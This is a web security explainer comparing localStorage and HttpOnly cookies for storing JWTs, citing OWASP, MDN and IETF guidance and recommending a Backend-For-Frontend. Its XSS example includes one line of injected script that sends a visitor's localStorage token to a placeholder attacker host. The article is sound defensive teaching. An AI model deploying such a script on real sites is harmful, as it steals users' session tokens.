Where should I store a JWT: localStorage or cookies?

Dark navy cover card with the title 'Where should I store a JWT: localStorage or cookies?' in white and a green accent bar

For most web apps, store the JWT in a cookie marked HttpOnly, Secure and SameSite, not in localStorage. On the question of JWT localStorage vs cookies, the deciding fact is that any script on your page can read localStorage, so one XSS bug hands an attacker the token. JavaScript can't read an HttpOnly cookie, though you then need CSRF protection.

The strongest option goes one step further: keep the token on a server you control and give the browser only a session cookie.

Why localStorage is risky for a JWT

localStorage is risky for a JWT because every script running on the page can read it, including one an attacker injects. The OWASP HTML5 Security Cheat Sheet is direct: "Do not store session identifiers in local storage as the data is always accessible by JavaScript."

The same page warns that "A single Cross Site Scripting can be used to steal all the data in these objects." A JWT is a bearer token. Whoever holds it can call your API as that user until it expires, from any machine.

Picture a comment field that renders HTML without escaping. An attacker posts a comment with a script that runs fetch("https://evil.example/c?t=" + localStorage.getItem("token")). Every visitor who views that comment ships their token to the attacker.

sessionStorage doesn't fix this. OWASP suggests it over localStorage when you don't need persistence, because it lasts only "until the window is closed." A script on the open page can still read it.

An HttpOnly cookie protects the token from being read by JavaScript, which means XSS can't copy it off to another machine. MDN's Set-Cookie reference says the flag "Forbids JavaScript from accessing the cookie, for example, through the Document.cookie property."

The same MDN entry has the caveat many guides leave out. A cookie with HttpOnly "will still be sent with JavaScript-initiated requests, for example, when calling XMLHttpRequest.send() or fetch()." So an injected script can't steal the token, but it can still call your API as the user while the page is open.

That's still worth having. A stolen token works anywhere until it expires; a hijacked page works only while the victim has it open. You still have to fix the XSS.

JWT localStorage vs cookies: the trade-offs side by side

The trade-off between localStorage and cookies is XSS exposure against CSRF exposure. Because the browser sends cookies automatically, they invite cross-site request forgery unless you block it.

localStorage sessionStorage HttpOnly cookie Token on the server (BFF)
Readable by page JavaScript Yes Yes No Token never reaches the browser
Stolen by an XSS bug Yes Yes No, but XSS can still send requests No, but XSS can still send requests
Sent automatically (CSRF risk) No No Yes Yes (session cookie)
Survives closing the tab Yes No Depends on expiry Depends on session
Works for a separate API domain Yes, via a header Yes, via a header Needs care API calls go through your backend

A safe token cookie uses Secure, HttpOnly, SameSite=Strict, Path=/ and no Domain attribute. Those are the rules the IETF's OAuth 2.0 for Browser-Based Applications guidance gives for the cookies its BFF pattern sets.

The response header:

Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
  • Secure keeps the cookie off plain http: requests (MDN notes localhost is the exception).
  • HttpOnly keeps it out of document.cookie and any script.
  • SameSite=Strict stops the browser from sending it on requests that start on another site.
  • The __Host- prefix makes the browser reject the cookie unless it has Secure, comes from an HTTPS page, has no Domain and uses Path=/. That blocks a subdomain from overwriting it.

Set SameSite explicitly. The OWASP CSRF Prevention Cheat Sheet notes that "Chromium-based browsers treat cookies without a SameSite attribute as Lax, but Firefox and Safari do not."

You still need CSRF protection

Cookie-based auth still needs a CSRF defense, because the browser attaches the cookie to requests no matter which site triggered them. OWASP calls SameSite "useful as a defense-in-depth control but it does not replace a proper CSRF defense in most deployments."

Add a CSRF token or the double-submit pattern for state-changing requests. OWASP also reminds you that "Cross-Site Scripting (XSS) can defeat all CSRF mitigation techniques", so escaping output and a strict Content Security Policy still matter.

The best option: keep the token off the browser

The best option for apps with real user data is a Backend-For-Frontend (BFF): a small server layer that holds the access and refresh tokens and gives the browser only a session cookie. The IETF guidance says the BFF manages tokens "in the context of a cookie-based session, avoiding the direct exposure of any tokens to the browser-based application."

It recommends this setup strongly "for business applications, sensitive applications, and applications that handle personal data." With no token in the browser, there is nothing for XSS to extract.

My take: on a new app, skip the localStorage-vs-cookie debate and put the token behind a BFF from day one. Adding it later means rewriting every API call path.

The limitation is cost. A BFF is one more server to run, and every API call takes an extra hop through it. For a static single-page app calling a third-party API, that cost isn't worth paying; use an HttpOnly cookie set by your API.

Checking what your token contains

Whatever storage you pick, keep the token small and short-lived, and don't put anything in the payload you wouldn't show the user. Signed JWTs are readable by anyone who holds them, as explained in can a JWT be decoded without the secret.

To see what your app is actually storing, paste a test token into our JWT decoder, which runs in the page and shows the header, payload and exp time. It only decodes; read the difference between decoding and verifying a JWT before trusting anything it shows. For tokens from production, follow how to decode a JWT safely.

FAQ

Is it safe to store a JWT in localStorage?

It's risky. OWASP says not to store session identifiers in local storage because JavaScript can always read it, so a single XSS bug can steal the token.

Does an HttpOnly cookie stop XSS?

No. It stops injected scripts from reading the token, but the browser still sends the cookie with fetch and XMLHttpRequest calls, so an XSS bug can still make requests as the user while the page is open.

Do I need CSRF protection if I use SameSite cookies?

In most apps, yes. OWASP calls SameSite a defense-in-depth control that does not replace a proper CSRF defense, and notes that Firefox and Safari don't default missing SameSite to Lax the way Chromium does.

Is sessionStorage safer than localStorage for a JWT?

Only slightly. sessionStorage is cleared when the tab closes, which shortens the window, but JavaScript on the page can still read it, so XSS can still steal the token.

What is the Backend-For-Frontend (BFF) pattern?

A small server component that holds the tokens and gives the browser only a session cookie. The IETF guidance for browser-based OAuth apps strongly recommends it for business apps, sensitive apps and apps that handle personal data.

Sources